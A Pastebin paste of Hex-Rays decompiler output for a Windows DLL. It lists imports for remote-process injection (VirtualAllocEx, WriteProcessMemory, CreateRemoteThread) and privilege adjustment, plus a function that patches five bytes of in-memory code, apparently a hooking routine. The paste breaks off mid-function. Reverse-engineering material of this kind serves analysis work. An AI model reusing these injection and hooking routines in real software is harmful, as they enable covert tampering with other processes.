Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* This file was generated by the Hex-Rays decompiler version 8.4.0.240320.
- Copyright (c) 2007-2021 Hex-Rays <[email protected]>
- Detected compiler: Visual C++
- */
- #include <windows.h>
- #include <defs.h>
- //-------------------------------------------------------------------------
- // Function declarations
- #define __thiscall __cdecl // Test compile in C mode
- int __cdecl sub_10001000(int a1);
- int __cdecl sub_10001020(int a1);
- int __cdecl sub_10001040(int a1, int a2, int a3);
- DWORD __cdecl sub_10001060(LPCSTR lpFileName, LONG lDistanceToMove, LONG DistanceToMoveHigh);
- int __cdecl sub_100010C0(unsigned __int8 *a1, int a2);
- unsigned int __cdecl sub_10001190(char *a1, int a2);
- WCHAR *__cdecl sub_10001260(LPCCH lpMultiByteStr);
- CHAR *__cdecl sub_100012B0(LPCWCH lpWideCharStr);
- int __cdecl sub_10001300(char *lpAddress);
- LPVOID __cdecl sub_10001440(char *a1, int a2, int a3, int a4);
- // int *__userpurge sub_10001A50@<eax>(int a1@<eax>, int *hMem);
- BOOL __cdecl sub_10001AB0(int a1);
- int __cdecl sub_10001AD0(LPCVOID lpBuffer, SIZE_T dwSize); // idb
- int __cdecl sub_10001B30(int (__thiscall *a1)(int), int a2, int a3);
- int __cdecl sub_10001B70(_BYTE *a1, int a2, _DWORD *a3);
- int __cdecl sub_10001C10(_BYTE *a1, unsigned int *a2, _DWORD *a3);
- int __cdecl sub_10001E80(int a1, LPCSTR lpName); // idb
- int __cdecl sub_100026B0(DWORD th32ProcessID, int (__stdcall *a2)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int));
- int __cdecl sub_10002780(int a1, int (__stdcall *a2)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int), int a3);
- int __cdecl sub_100027E0(int (__stdcall *a1)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int));
- char *__cdecl sub_100028B0(char *a1, int a2);
- int __cdecl sub_10002B20(unsigned int a1, char a2);
- char *__cdecl sub_10002B40(char *Destination, int Count);
- int sub_10002BD0();
- _DWORD *__thiscall sub_10002BF0(_DWORD *this);
- int __thiscall sub_10002C20(_DWORD *this);
- int __thiscall sub_10002C40(_DWORD *this);
- BOOL __thiscall sub_10002C60(int *this, LPCSTR lpString);
- void __thiscall sub_10002CE0(_DWORD *this, int a2);
- int __thiscall sub_10002D10(_DWORD *this, HWND hWnd, int a3, int a4, int a5, int a6);
- _DWORD *__thiscall sub_10002DF0(_DWORD *this, int a2, int a3);
- BOOL __thiscall sub_10002E60(_DWORD *this, LPCCH lpMultiByteStr, LPCCH a3);
- int __thiscall sub_10002EE0(_DWORD *this, int a2);
- CHAR *__thiscall sub_10002F10(void *this, int a2, LPCSTR lpString);
- unsigned int __stdcall sub_100030D0(wchar_t *String2, const wchar_t **a2);
- _DWORD *__cdecl sub_100031C0(int a1, int a2);
- _DWORD *__thiscall sub_10003210(_DWORD *this);
- _DWORD *__thiscall sub_10003260(_DWORD *this, int a2, int a3, int a4, int a5);
- int __stdcall sub_100032E0(int a1, int a2, int a3);
- HMODULE __cdecl sub_10003320(HMODULE *a1, int a2, LPCSTR *a3);
- HMODULE __cdecl sub_10003340(HMODULE *a1, int a2, LPCSTR *a3);
- _DWORD *__cdecl sub_10003360(_DWORD *a1, int a2, int *a3);
- char *__cdecl sub_100033C0(char *a1, int a2, char **a3);
- FARPROC __cdecl sub_100034F0(HMODULE hModule, int a2, int a3);
- int __cdecl sub_10003580(int *a1, int a2, int (__thiscall **a3)(int));
- int __cdecl sub_100037D0(int *a1, int a2, int a3);
- int __cdecl sub_10003880(_DWORD *a1, int a2, int a3);
- int __cdecl sub_100038F0(int *a1, int a2, _DWORD **a3);
- BOOL __cdecl sub_10003950(BOOL *a1, int a2, int *a3);
- _DWORD *__cdecl sub_10003970(_DWORD *a1, int a2, int *a3);
- LPVOID __cdecl sub_10003AB0(_DWORD *a1, int a2, int a3);
- int __cdecl sub_10003AF0(int *a1, int a2, char **a3);
- _DWORD *__cdecl sub_10003B10(_DWORD *a1, int a2, _DWORD *a3);
- _DWORD *__cdecl sub_10003B30(_DWORD *a1, int a2, int a3);
- _DWORD *__cdecl sub_10003BA0(_DWORD *a1, int a2, LPCCH *a3);
- int __cdecl sub_10003C20(_DWORD *a1, int a2, int a3);
- _DWORD *__cdecl sub_10003CB0(_DWORD *a1, int a2, int a3);
- DWORD __cdecl sub_10003D60(DWORD *a1, int a2, int a3);
- int __cdecl sub_10003D90(int *a1, int a2, int *a3);
- int __cdecl sub_10003DB0(int *a1, int a2, int *a3);
- int __cdecl sub_10003DD0(int *a1, int a2, int *a3);
- int __cdecl sub_10003E00(int *a1, int a2, int *a3);
- int __cdecl sub_10003E30(int *a1, int a2, LPCSTR *a3);
- int __cdecl sub_10003F00(int *a1, int a2, int a3);
- int __cdecl sub_10003F30(int *a1, int a2, int (__stdcall **a3)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, int, int, int, int));
- char *__cdecl sub_10003F50(char **a1, int a2, int a3);
- int __cdecl sub_10003F80(int *a1, int a2, unsigned int *a3);
- char *__cdecl sub_10003FB0(char **a1, int a2, int a3);
- unsigned int __cdecl sub_10003FE0(_DWORD *a1, int a2, int a3);
- BOOL __cdecl sub_10004010(BOOL *a1, int a2, HMODULE *a3);
- char __cdecl sub_10004030(_DWORD *a1, int a2, int a3);
- FARPROC __cdecl sub_100040D0(int *a1, int a2, HMODULE hModule);
- int __cdecl sub_100043C0(int a1);
- BOOL __cdecl sub_100043D0(CHAR **a1, int a2, int *a3);
- int **__cdecl sub_10004410(int **a1, int a2, int ***a3);
- _DWORD *__cdecl sub_100044C0(_DWORD *a1, int a2, int a3);
- _DWORD *__cdecl sub_10004500(_DWORD *a1, int a2, int a3);
- void __cdecl sub_10004530(int a1, int a2, void ***a3);
- int __cdecl sub_10004550(int *a1, int a2, int a3);
- BOOL __cdecl sub_10004580(BOOL *a1, int a2, int a3);
- void __cdecl sub_100045B0(int a1, int a2, int a3);
- int __cdecl sub_100045D0(int ***a1, int a2, int **a3);
- int __cdecl sub_10004620(int ***a1, int a2, int **a3);
- int __cdecl sub_10004670(int ***a1, int a2, int **a3);
- _DWORD *__cdecl sub_100046C0(_DWORD *a1, int a2, int **a3);
- int __cdecl sub_10004740(_DWORD *a1, int a2, int **a3);
- void __cdecl sub_10004790(_DWORD *a1, int a2, int **a3);
- int __cdecl sub_10004A20(int *a1, int a2, int a3);
- CHAR *__cdecl sub_10004A50(CHAR **a1, int a2, int a3);
- int __stdcall sub_10004A80(int a1, int (__stdcall *a2)(_DWORD, _DWORD, _DWORD), int a3);
- void *GetNewInf();
- // BOOL __stdcall Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
- // BOOL __stdcall Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
- // HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
- // BOOL __stdcall Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
- // BOOL __stdcall Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
- // int __stdcall GdiplusStartup(_DWORD, _DWORD, _DWORD); weak
- // int __stdcall GdiplusShutdown(_DWORD); weak
- // int __stdcall GdipImageRotateFlip(_DWORD, _DWORD); weak
- // int __stdcall GdipDeleteGraphics(_DWORD); weak
- // int __stdcall GdipDrawImageRectI(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
- // int __stdcall GdipCreateFromHDC(_DWORD, _DWORD); weak
- // int __stdcall GdipGetImageHeight(_DWORD, _DWORD); weak
- // int __stdcall GdipGetImageWidth(_DWORD, _DWORD); weak
- // int __stdcall GdipSaveImageToFile(_DWORD, _DWORD, _DWORD, _DWORD); weak
- // int __stdcall GdipGetImageEncoders(_DWORD, _DWORD, _DWORD); weak
- // int __stdcall GdipGetImageEncodersSize(_DWORD, _DWORD); weak
- // int __stdcall GdipLoadImageFromFile(_DWORD, _DWORD); weak
- // int __stdcall GdipAlloc(_DWORD); weak
- // int __stdcall GdipSaveAdd(_DWORD, _DWORD); weak
- // int __stdcall GdipSaveAddImage(_DWORD, _DWORD, _DWORD); weak
- // int __stdcall GdipDisposeImage(_DWORD); weak
- // int __stdcall GdipLoadImageFromFileICM(_DWORD, _DWORD); weak
- // int __stdcall GdipCloneImage(_DWORD, _DWORD); weak
- // int __stdcall GdipGetImageThumbnail(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
- // int __stdcall GdipGetImagePaletteSize(_DWORD, _DWORD); weak
- // int __stdcall GdipGetImagePalette(_DWORD, _DWORD, _DWORD); weak
- // int __stdcall GdipSetImagePalette(_DWORD, _DWORD); weak
- // int __stdcall GdipGetImageRawFormat(_DWORD, _DWORD); weak
- // char *__cdecl strncpy(char *Destination, const char *Source, size_t Count);
- void __cdecl sub_10004C8F(LPVOID lpMem);
- // int __cdecl wcscmp(const wchar_t *String1, const wchar_t *String2);
- // void *__cdecl malloc(size_t Size);
- // int __cdecl _nh_malloc(size_t Size, int); idb
- LPVOID __cdecl sub_10004DEB(unsigned int a1);
- void __cdecl sub_10004F5F(LPVOID lpMem);
- int __cdecl sub_10004F6A(size_t Size); // idb
- char __cdecl sub_100054F7(int a1);
- int sub_10005524();
- int __cdecl sub_1000566C(int a1);
- BOOL sub_100056C9();
- // _DWORD __cdecl __sbh_heap_init(_DWORD); weak
- // _DWORD __cdecl __sbh_find_block(_DWORD); weak
- _DWORD *__cdecl sub_100057E4(_DWORD *a1, int a2);
- // _DWORD __cdecl __sbh_alloc_block(_DWORD); weak
- void **sub_10005FC2();
- void **__cdecl sub_10006106(void **lpMem);
- void __cdecl sub_1000615C(int a1);
- unsigned int __cdecl sub_1000621E(unsigned int a1, void ***a2, unsigned int *a3);
- void __cdecl sub_10006275(int a1, int a2, _BYTE *a3);
- int __cdecl sub_100062BA(unsigned int a1);
- int __cdecl sub_100064C2(int a1, unsigned int a2, unsigned int a3);
- // _DWORD __cdecl _lock(_DWORD); weak
- // _DWORD __cdecl _unlock(_DWORD); weak
- // int __cdecl _except_handler3(int, PVOID TargetFrame, int); idb
- // int __cdecl _callnewh(size_t Size);
- // void __cdecl __noreturn terminate(); idb
- void __thiscall __noreturn sub_100076E9(EXCEPTION_POINTERS *this);
- int *__cdecl sub_10007EDE(DWORD NumberOfBytesWritten);
- // int __cdecl strtol(const char *String, char **EndPtr, int Radix);
- // char *__cdecl strchr(const char *Str, int Val);
- // char *__cdecl strstr(const char *Str, const char *SubStr);
- // int __cdecl strncmp(const char *Str1, const char *Str2, size_t MaxCount);
- // void *__cdecl memcpy(void *, const void *Src, size_t Size);
- // void *__cdecl memset(void *, int Val, size_t Size);
- // _DWORD __cdecl _ld12cvt(_DWORD, _DWORD, _DWORD); weak
- int __cdecl sub_10008DF3(int a1, int a2);
- int __cdecl sub_10008E09(int a1, int a2);
- int __cdecl sub_10008E1F(int a1, int a2);
- int __cdecl sub_10008E4C(int a1, int a2);
- // char *__cdecl strcpy(char *Destination, const char *Source);
- // char *__cdecl strcat(char *Destination, const char *Source);
- // size_t __cdecl strlen(const char *Str);
- // LONG __stdcall __CxxUnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo); idb
- LONG (__stdcall *sub_100091CA())(struct _EXCEPTION_POINTERS *ExceptionInfo);
- LPTOP_LEVEL_EXCEPTION_FILTER sub_100091DB();
- int __cdecl sub_100092C4(int a1, int a2);
- // _DWORD __cdecl __crtMessageBoxA(_DWORD, _DWORD, _DWORD); weak
- // _DWORD __cdecl __strgtold12(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); weak
- //-------------------------------------------------------------------------
- // Data declarations
- _UNKNOWN loc_10002B70; // weak
- // extern BOOL (__stdcall *LookupPrivilegeValueA)(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
- // extern BOOL (__stdcall *AdjustTokenPrivileges)(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
- // extern BOOL (__stdcall *OpenProcessToken)(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
- // extern int (__stdcall *MultiByteToWideChar)(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
- // extern UINT (__stdcall *GetACP)();
- // extern int (__stdcall *WideCharToMultiByte)(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);
- // extern BOOL (__stdcall *WriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
- // extern HANDLE (__stdcall *GetCurrentProcess)();
- // extern BOOL (__stdcall *VirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
- // extern BOOL (__stdcall *VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
- // extern SIZE_T (__stdcall *VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
- // extern LPVOID (__stdcall *VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
- // extern HLOCAL (__stdcall *LocalFree)(HLOCAL hMem);
- // extern HANDLE (__stdcall *CreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
- // extern BOOL (__stdcall *VirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
- // extern LPVOID (__stdcall *VirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
- // extern HANDLE (__stdcall *OpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
- // extern DWORD (__stdcall *GetLastError)();
- // extern void (__stdcall *SetLastError)(DWORD dwErrCode);
- // extern HANDLE (__stdcall *CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
- // extern int (__stdcall *lstrlenA)(LPCSTR lpString);
- // extern HMODULE (__stdcall *GetModuleHandleA)(LPCSTR lpModuleName);
- // extern HMODULE (__stdcall *LoadLibraryA)(LPCSTR lpLibFileName);
- // extern FARPROC (__stdcall *GetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
- // extern HANDLE (__stdcall *CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
- // extern HLOCAL (__stdcall *LocalAlloc)(UINT uFlags, SIZE_T uBytes);
- // extern DWORD (__stdcall *GetCurrentProcessId)();
- // extern BOOL (__stdcall *FreeLibrary)(HMODULE hLibModule);
- // extern DWORD (__stdcall *SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
- // extern BOOL (__stdcall *SetEndOfFile)(HANDLE hFile);
- // extern BOOL (__stdcall *CloseHandle)(HANDLE hObject);
- // extern LPTOP_LEVEL_EXCEPTION_FILTER (__stdcall *SetUnhandledExceptionFilter)(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter);
- // extern BOOL (__stdcall *WriteFile)(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
- // extern HANDLE (__stdcall *GetStdHandle)(DWORD nStdHandle);
- // extern BOOL (__stdcall *HeapFree)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
- // extern LPVOID (__stdcall *HeapAlloc)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
- // extern DWORD (__stdcall *GetModuleFileNameA)(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
- // extern DWORD (__stdcall *GetEnvironmentVariableA)(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize);
- // extern BOOL (__stdcall *GetVersionExA)(LPOSVERSIONINFOA lpVersionInformation);
- // extern BOOL (__stdcall *HeapDestroy)(HANDLE hHeap);
- // extern HANDLE (__stdcall *HeapCreate)(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize);
- // extern BOOL (__stdcall *SHGetSpecialFolderPathA)(HWND hwnd, LPSTR pszPath, int csidl, BOOL fCreate);
- // extern HDC (__stdcall *GetDC)(HWND hWnd);
- // extern BOOL (__stdcall *ExitWindowsEx)(UINT uFlags, DWORD dwReason);
- // extern int (__stdcall *ReleaseDC)(HWND hWnd, HDC hDC);
- void *off_1000C1C0 = &loc_10003190; // weak
- _SCOPETABLE_ENTRY stru_1000C2E8[2] = { { -1, NULL, &loc_1000773A }, { 0, &loc_10007726, &loc_1000772A } }; // weak
- wchar_t aImageGif[] = L"image/gif"; // idb
- _UNKNOWN unk_1000F0E8; // weak
- CHAR aGdi32Dll[] = "gdi32.dll"; // idb
- CHAR LibFileName[] = "user32.dll"; // idb
- char aKernel32Dll_0[13] = "kernel32.dll"; // weak
- char asc_10011B2C[2] = "-"; // weak
- void *off_10011B60 = &off_10011B60; // weak
- LPVOID off_10011B64 = &off_10011B60; // idb
- int dword_10011B70 = -1; // weak
- void **off_10013B80 = &off_10011B60; // weak
- int dword_10013B84 = 480; // weak
- void (__cdecl __noreturn *off_10013C74)() = &terminate; // weak
- int dword_10013CA0[] = { 2 }; // weak
- char *off_10013CA4 = "R6002\r\n- floating point not loaded\r\n"; // weak
- int dword_10013D30 = 1; // weak
- _UNKNOWN unk_10013F48; // weak
- _UNKNOWN unk_10013F60; // weak
- HANDLE TokenHandle = NULL; // idb
- char byte_1001485C[32] =
- {
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0',
- '\0'
- }; // weak
- HANDLE hProcess = NULL; // idb
- LPCVOID lpBuffer = NULL; // idb
- LPVOID lpAddress = NULL; // idb
- LPVOID lpBaseAddress = NULL; // idb
- LPVOID dword_10014890 = NULL; // idb
- int dword_10014894[] = { 0 }; // weak
- SIZE_T nSize = 0u; // idb
- int dword_1001489C = 0; // weak
- int dword_100148A0 = 0; // weak
- int dword_100148A4 = 0; // weak
- int dword_100148D8 = 0; // weak
- int dword_100148E0 = 0; // weak
- int dword_100148E4 = 0; // weak
- int dword_100148E8 = 0; // weak
- int dword_100148EC = 0; // weak
- int dword_10014930 = 0; // weak
- int (__stdcall *dword_10014934)(_DWORD, _DWORD, _DWORD) = NULL; // weak
- int dword_1001494C = 0; // weak
- int dword_10014950 = 0; // weak
- int dword_10014954 = 0; // weak
- int dword_100149B8 = 0; // idb
- LPTOP_LEVEL_EXCEPTION_FILTER lpfn = NULL; // idb
- int dword_10015018; // weak
- int dword_1001501C; // weak
- void *dword_10015020; // idb
- int dword_10015024; // weak
- LPVOID lpMem; // idb
- int dword_1001502C; // weak
- HANDLE hHeap; // idb
- int dword_10015034; // weak
- //----- (10001000) --------------------------------------------------------
- int __cdecl sub_10001000(int a1)
- {
- return sub_100032E0(2024, a1, 0);
- }
- //----- (10001020) --------------------------------------------------------
- int __cdecl sub_10001020(int a1)
- {
- return sub_100032E0(2025, a1, 0);
- }
- //----- (10001040) --------------------------------------------------------
- int __cdecl sub_10001040(int a1, int a2, int a3)
- {
- return sub_100032E0(2025, a2, a3);
- }
- //----- (10001060) --------------------------------------------------------
- DWORD __cdecl sub_10001060(LPCSTR lpFileName, LONG lDistanceToMove, LONG DistanceToMoveHigh)
- {
- DWORD v3; // edi
- HANDLE FileA; // eax
- void *v5; // esi
- v3 = 0;
- FileA = CreateFileA(lpFileName, 0x40000000u, 0, 0, 1u, 0x80u, 0);
- v5 = FileA;
- if ( FileA != (HANDLE)-1 )
- {
- v3 = SetFilePointer(FileA, lDistanceToMove, &DistanceToMoveHigh, 0);
- if ( v3 )
- v3 = SetEndOfFile(v5);
- CloseHandle(v5);
- }
- return v3;
- }
- //----- (100010C0) --------------------------------------------------------
- int __cdecl sub_100010C0(unsigned __int8 *a1, int a2)
- {
- int result; // eax
- int v3; // ecx
- int v4; // edi
- _WORD *v5; // esi
- char *v6; // edx
- int v7; // eax
- char v8; // bl
- _BYTE *v9; // edx
- char v10; // al
- unsigned __int8 v11; // [esp+8h] [ebp+4h]
- unsigned __int8 v12; // [esp+Eh] [ebp+Ah]
- result = sub_10001000(2 * a2);
- v4 = result;
- if ( result )
- {
- v5 = (_WORD *)result;
- LOBYTE(v3) = *a1;
- v6 = (char *)(a1 + 1);
- v11 = *a1;
- if ( v11 )
- {
- do
- {
- v7 = v11;
- if ( (v11 & 0x80) != 0 )
- {
- LOBYTE(v7) = v11 & 0xC0;
- if ( v7 == 192 )
- {
- v8 = *v6;
- v9 = v6 + 1;
- v10 = v3 & 0xF;
- LOBYTE(v3) = *v9;
- v6 = v9 + 1;
- v12 = v3 & 0x3F;
- LOWORD(v3) = (unsigned __int8)v3;
- LOBYTE(v3) = v10;
- v3 = (v8 & 0x3F | (v3 << 6)) << 6;
- *v5 = v3 | v12;
- }
- else
- {
- LOWORD(v3) = v3 & 0x1F;
- LOWORD(v7) = *v6++ & 0x3F;
- v3 = v7 | (v3 << 6);
- *v5 = v3;
- }
- }
- else
- {
- *v5 = v3 & 0x7F;
- }
- LOBYTE(v3) = *v6;
- ++v5;
- ++v6;
- v11 = v3;
- }
- while ( (_BYTE)v3 );
- }
- *v5 = 0;
- return v4;
- }
- return result;
- }
- // 10001133: variable 'v3' is possibly undefined
- //----- (10001190) --------------------------------------------------------
- unsigned int __cdecl sub_10001190(char *a1, int a2)
- {
- unsigned int result; // eax
- _BYTE *v3; // ebp
- char *v4; // esi
- _BYTE *v5; // ecx
- unsigned int v6; // edx
- char v7; // bl
- _BYTE *v8; // ecx
- char v9; // dl
- int v10; // esi
- void *v11; // ebx
- result = sub_10001000(3 * a2 + 1);
- v3 = (_BYTE *)result;
- if ( result )
- {
- v4 = a1;
- v5 = (_BYTE *)result;
- if ( a2 > 0 )
- {
- do
- {
- LOWORD(result) = *(_WORD *)v4;
- if ( *(_WORD *)v4 < 0x800u )
- {
- if ( (unsigned __int16)result < 0x80u )
- {
- *v5 = result & 0x7F;
- }
- else
- {
- result >>= 6;
- v9 = *(_WORD *)v4 & 0x3F | 0x80;
- *v5++ = result & 0x1F | 0xC0;
- *v5 = v9;
- }
- }
- else
- {
- v6 = result;
- result >>= 12;
- v7 = *(_WORD *)v4 & 0x3F | 0x80;
- *v5 = result & 0xF | 0xE0;
- v8 = v5 + 1;
- *v8 = (v6 >> 6) & 0x3F | 0x80;
- v5 = v8 + 1;
- *v5 = v7;
- }
- v4 += 2;
- ++v5;
- }
- while ( v4 - a1 < a2 );
- }
- *v5 = 0;
- v10 = v5 - v3 + 1;
- v11 = (void *)sub_10001000(v10);
- if ( v11 )
- qmemcpy(v11, v3, v10);
- sub_10001020((int)v3);
- return (unsigned int)v11;
- }
- return result;
- }
- //----- (10001260) --------------------------------------------------------
- WCHAR *__cdecl sub_10001260(LPCCH lpMultiByteStr)
- {
- UINT ACP; // eax
- int v2; // esi
- WCHAR *v3; // edi
- UINT v4; // eax
- ACP = GetACP();
- v2 = MultiByteToWideChar(ACP, 0, lpMultiByteStr, -1, 0, 0);
- v3 = (WCHAR *)sub_10001000(2 * v2 + 4);
- v4 = GetACP();
- MultiByteToWideChar(v4, 0, lpMultiByteStr, -1, v3, v2);
- return v3;
- }
- //----- (100012B0) --------------------------------------------------------
- CHAR *__cdecl sub_100012B0(LPCWCH lpWideCharStr)
- {
- UINT ACP; // eax
- int v2; // esi
- CHAR *v3; // edi
- UINT v4; // eax
- ACP = GetACP();
- v2 = WideCharToMultiByte(ACP, 0, lpWideCharStr, -1, 0, 0, 0, 0);
- v3 = (CHAR *)sub_10001000(v2 + 2);
- v4 = GetACP();
- WideCharToMultiByte(v4, 0, lpWideCharStr, -1, v3, v2, 0, 0);
- return v3;
- }
- //----- (10001300) --------------------------------------------------------
- int __cdecl sub_10001300(char *lpAddress)
- {
- int v1; // esi
- char *v2; // ebp
- int v3; // ecx
- void *v4; // edi
- char *v5; // eax
- bool v6; // cc
- int result; // eax
- int v8; // eax
- HANDLE CurrentProcess; // eax
- char v10[20]; // [esp+10h] [ebp-30h] BYREF
- struct _MEMORY_BASIC_INFORMATION Buffer; // [esp+24h] [ebp-1Ch] BYREF
- v1 = *(_DWORD *)lpAddress;
- v2 = lpAddress;
- v3 = 0;
- v4 = (void *)*((_DWORD *)lpAddress + 1);
- v5 = lpAddress + 8;
- v6 = *(_DWORD *)lpAddress <= 0;
- lpAddress = 0;
- if ( !v6 )
- {
- do
- {
- v10[v3] = v5[v3];
- lpAddress = (char *)++v3;
- }
- while ( v3 < v1 );
- }
- lpAddress = (char *)VirtualQuery(v4, &Buffer, 0x1Cu);
- if ( lpAddress != (char *)28 )
- return 0;
- result = (int)Buffer.BaseAddress;
- if ( Buffer.BaseAddress )
- {
- result = VirtualProtect(Buffer.BaseAddress, Buffer.RegionSize, 0x40u, &Buffer.Protect);
- if ( result )
- {
- v8 = 0;
- for ( lpAddress = 0; v8 < v1; lpAddress = (char *)++v8 )
- {
- if ( *((_BYTE *)v4 + v8) != v10[v8] )
- break;
- }
- if ( v8 == v1 )
- {
- VirtualProtect(Buffer.BaseAddress, Buffer.RegionSize, 0x20u, &Buffer.Protect);
- VirtualFree(v2, 0, 0x1000u);
- return 0;
- }
- else
- {
- CurrentProcess = GetCurrentProcess();
- result = WriteProcessMemory(CurrentProcess, v4, v10, 5u, (SIZE_T *)&lpAddress);
- if ( result )
- {
- if ( lpAddress == (char *)5 )
- {
- VirtualProtect(Buffer.BaseAddress, Buffer.RegionSize, 0x20u, &Buffer.Protect);
- VirtualFree(v2, 0, 0x8000u);
- return 1;
- }
- else
- {
- return 0;
- }
- }
- }
- }
- }
- return result;
- }
- // 10001300: using guessed type char var_30[20];
- //----- (10001440) --------------------------------------------------------
- LPVOID __cdecl sub_10001440(char *a1, int a2, int a3, int a4)
- {
- _DWORD *v4; // eax
- char *v5; // ecx
- _DWORD *v6; // eax
- SIZE_T v7; // edi
- _BYTE *v8; // eax
- void *v9; // edi
- char *v10; // ecx
- SIZE_T v11; // eax
- HANDLE CurrentProcess; // eax
- int v14; // eax
- HANDLE v15; // eax
- SIZE_T NumberOfBytesWritten; // [esp+10h] [ebp-C0h] BYREF
- LPVOID lpAddress; // [esp+14h] [ebp-BCh]
- char Buffer; // [esp+18h] [ebp-B8h] BYREF
- int v19; // [esp+19h] [ebp-B7h]
- char v20; // [esp+1Dh] [ebp-B3h]
- char v21; // [esp+1Eh] [ebp-B2h]
- char v22; // [esp+1Fh] [ebp-B1h]
- char v23; // [esp+20h] [ebp-B0h]
- char v24; // [esp+21h] [ebp-AFh]
- char v25; // [esp+22h] [ebp-AEh]
- char v26; // [esp+23h] [ebp-ADh]
- char v27; // [esp+24h] [ebp-ACh]
- char v28; // [esp+25h] [ebp-ABh]
- char v29; // [esp+26h] [ebp-AAh]
- char v30; // [esp+27h] [ebp-A9h]
- char v31; // [esp+28h] [ebp-A8h]
- char v32; // [esp+29h] [ebp-A7h]
- char v33; // [esp+2Ah] [ebp-A6h]
- char v34; // [esp+2Bh] [ebp-A5h]
- char v35; // [esp+2Ch] [ebp-A4h]
- char v36; // [esp+2Dh] [ebp-A3h]
- char v37; // [esp+2Eh] [ebp-A2h]
- char v38; // [esp+2Fh] [ebp-A1h]
- char v39; // [esp+30h] [ebp-A0h]
- char v40; // [esp+31h] [ebp-9Fh]
- char v41; // [esp+32h] [ebp-9Eh]
- char v42; // [esp+33h] [ebp-9Dh]
- char v43; // [esp+34h] [ebp-9Ch]
- char v44; // [esp+35h] [ebp-9Bh]
- char v45; // [esp+36h] [ebp-9Ah]
- char v46; // [esp+37h] [ebp-99h]
- char v47; // [esp+38h] [ebp-98h]
- char v48; // [esp+39h] [ebp-97h]
- char v49; // [esp+3Ah] [ebp-96h]
- char v50; // [esp+3Bh] [ebp-95h]
- char v51; // [esp+3Ch] [ebp-94h]
- char v52; // [esp+3Dh] [ebp-93h]
- char v53; // [esp+3Eh] [ebp-92h]
- char v54; // [esp+3Fh] [ebp-91h]
- char v55; // [esp+40h] [ebp-90h]
- char v56; // [esp+41h] [ebp-8Fh]
- char v57; // [esp+42h] [ebp-8Eh]
- char v58; // [esp+43h] [ebp-8Dh]
- char v59; // [esp+44h] [ebp-8Ch]
- char v60; // [esp+45h] [ebp-8Bh]
- char v61; // [esp+46h] [ebp-8Ah]
- char v62; // [esp+47h] [ebp-89h]
- char v63; // [esp+48h] [ebp-88h]
- char v64; // [esp+49h] [ebp-87h]
- char v65; // [esp+4Ah] [ebp-86h]
